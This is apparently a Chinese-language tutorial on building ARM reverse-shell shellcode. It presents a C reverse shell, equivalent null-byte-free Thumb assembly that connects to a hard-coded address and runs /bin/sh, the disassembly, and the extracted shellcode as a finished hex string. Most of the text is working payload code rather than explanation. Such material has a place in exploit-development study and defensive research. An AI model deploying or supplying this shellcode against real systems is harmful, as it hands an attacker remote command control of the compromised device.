ARM之反弹shell
C代码
- 获取一个socket的文件描述符
- 定义好远程地址,使用connect函数连接过去
- 重定位标准输入流、标准输出流、标准错误流到socket文件描述符中去,这样就可以利用执行/bin/sh后,获取命令、输出结果的通道都有socket来执行,也就是远端操控
#include <sys/types.h>
#include <sys/socket.h>
#include <stdio.h>
#include <netinet/in.h>
int main()
{
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in remote_addr;
remote_addr.sin_family = AF_INET;
remote_addr.sin_port = htons(6666);
remote_addr.sin_addr.s_addr = inet_addr("127.0.0.1");
connect(sockfd, (struct sockaddr*)&remote_addr, sizeof(remote_addr));
dup2(sockfd, 0);
dup2(sockfd, 1);
dup2(sockfd, 2);
execve("/bin/sh", NULL, NULL);
}
ARM汇编代码
connect函数
sockaddr参数
- 在
man connect
的时候,会有一些库文件
,可以去库文件中看,是否有相关结构体的详细信息,如果没有找到定义的地方,使用下面的第二种方法
2.grep -R "struct sockaddr" /usr/include
查看,就能找到这个结构体的定义的地方
很明显这是定义结构体的地方
可以从这注释信息知道
__SOCKADDR_COMMON
这个成员变量是地址族,这时用下面第三种方法也找不到相关参数的详细信息,其实相关信息就在这个文件里,然后就可以继续用grep搜索相关详细介绍了结构体定义的地方
地址族
- 然后用同样的方法grep搜索来找到这个结构体参数
__SOCKADDR_COMMON
声明的地方,是这样介绍的
This macro is used to declare the initial common members of the data types used for socket addresses, ‘struct sockaddr’, ‘struct sockaddr_in’, ‘struct sockaddr_un’, etc.
这个宏用于初始化套接字的参数,有下面几个例子sockaddr、sockaddr_in、sockaddr_un
其他参数找相关定义的时候,使用这种方式即可,下面是完整代码
完整代码
.text
.global _start
_start:
.code 32
add r3, pc, #1
bx r3
.code 16
mov r0, #2
mov r1, #1
sub r2, r2, r2
mov r7, #200
add r7, #81
svc #1
mov r4, r0
//connect(sockfd, *addr, addrlen)
adr r1, c2_addr
sub r3, r3, r3
strb r3, [r1, #1]
strb r3, [r1, #5]
strb r3, [r1, #6]
mov r2, #16
add r7, #2
svc #1
nop
//dup2(newfd, oldfd)
mov r0, r4
mov r1, r3
mov r7, #63
svc #1
mov r1, #1
svc #1
mov r1, #2
svc #1
//execve(*command, *argv[], *envp[])
adr r0, command_addr
strb r3, [r0, #7]
mov r1, r3
mov r2, r3
mov r7, #11
svc #1
c2_addr:
.ascii "\x02\xff"
.ascii "\x11\x5c"
.byte 127,1,1,1
command_addr:
.ascii "/bin/shX"
提取shellcode的工作
-
objdump -d reverse_shell.o
:查看反汇编中是否存在空字符,很明显,第二列中不存在
reverse_shell.o: file format elf32-littlearm
Disassembly of section .text:
00000000 <_start>:
0: e28f3001 add r3, pc, #1
4: e12fff13 bx r3
8: 2002 movs r0, #2
a: 2101 movs r1, #1
c: 1a92 subs r2, r2, r2
e: 27c8 movs r7, #200 ; 0xc8
10: 3751 adds r7, #81 ; 0x51
12: df01 svc 1
14: 1c04 adds r4, r0, #0
16: a10b add r1, pc, #44 ; (adr r1, 44 <c2_addr>)
18: 1adb subs r3, r3, r3
1a: 704b strb r3, [r1, #1]
1c: 714b strb r3, [r1, #5]
1e: 718b strb r3, [r1, #6]
20: 2210 movs r2, #16
22: 3702 adds r7, #2
24: df01 svc 1
26: 46c0 nop ; (mov r8, r8)
28: 1c20 adds r0, r4, #0
2a: 1c19 adds r1, r3, #0
2c: 273f movs r7, #63 ; 0x3f
2e: df01 svc 1
30: 2101 movs r1, #1
32: df01 svc 1
34: 2102 movs r1, #2
36: df01 svc 1
38: a004 add r0, pc, #16 ; (adr r0, 4c <command_addr>)
3a: 71c3 strb r3, [r0, #7]
3c: 1c19 adds r1, r3, #0
3e: 1c1a adds r2, r3, #0
40: 270b movs r7, #11
42: df01 svc 1
00000044 <c2_addr>:
44: 5c11ff02 .word 0x5c11ff02
48: 0101017f .word 0x0101017f
0000004c <command_addr>:
4c: 6e69622f .word 0x6e69622f
50: 5868732f .word 0x5868732f
ELF文件转二进制文件:objcopy -O binary reverse_shell reverse_shell.bin
将二进制文件转成16进制:hexdump -v -e '"\\""x" /1 "%02x" ""' reverse_shell.bin
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0b\xa1\xdb\x1a\x4b\x70\x4b\x71\x8b\x71\x10\x22\x02\x37\x01\xdf\xc0\x46\x20\x1c\x19\x1c\x3f\x27\x01\xdf\x01\x21\x01\xdf\x02\x21\x01\xdf\x04\xa0\xc3\x71\x19\x1c\x1a\x1c\x0b\x27\x01\xdf\x02\xff\x11\x5c\x7f\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58